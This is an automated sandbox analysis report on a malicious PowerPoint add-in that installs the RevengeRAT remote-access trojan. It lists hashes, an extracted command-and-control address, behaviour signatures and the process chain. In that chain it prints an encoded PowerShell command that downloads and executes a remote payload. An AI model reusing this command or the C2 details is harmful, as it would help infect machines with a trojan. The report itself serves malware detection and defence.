Analysis

  • max time kernel
    119s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27-08-2024 05:45

General

  • Target

    LinhasSumarizadas_2022067095.ppam

  • Size

    27KB

  • MD5

    c3313364d3a12339eb5f77410bb0a31a

  • SHA1

    a496f4f079f45ccef67715a51a2ad8185fee9ce3

  • SHA256

    7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2

  • SHA512

    2337e7996a67a60c8ba679167a20bccb82a334eaf88d85e5dc7486125809acbebf6772ff1cf439a95cb01c0afa5d460b804fe3cc3174f76305b3cde946bddd2c

  • SSDEEP

    768:VPc2teKCz5J61JLDgJOabcssG8bKR8QJTkM5xRh:VO36XL9abcskE5x/

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2022067095.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2700
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2812
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:1720

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1720-36-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-40-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-42-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-46-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-50-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-53-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/1720-44-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1720-38-0x0000000000090000-0x000000000009A000-memory.dmp

      Filesize

      40KB

    • memory/2740-7-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-6-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-11-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-19-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-18-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-20-0x00000000729AD000-0x00000000729B8000-memory.dmp

      Filesize

      44KB

    • memory/2740-21-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-56-0x00000000729AD000-0x00000000729B8000-memory.dmp

      Filesize

      44KB

    • memory/2740-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2740-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2740-2-0x00000000729AD000-0x00000000729B8000-memory.dmp

      Filesize

      44KB

    • memory/2740-3-0x0000000005DC0000-0x0000000005EC0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-5-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-9-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-0-0x000000002DBE1000-0x000000002DBE2000-memory.dmp

      Filesize

      4KB

    • memory/2740-8-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2740-10-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2812-24-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-27-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-35-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-25-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-29-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-33-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB

    • memory/2812-31-0x00000000028D0000-0x00000000028E8000-memory.dmp

      Filesize

      96KB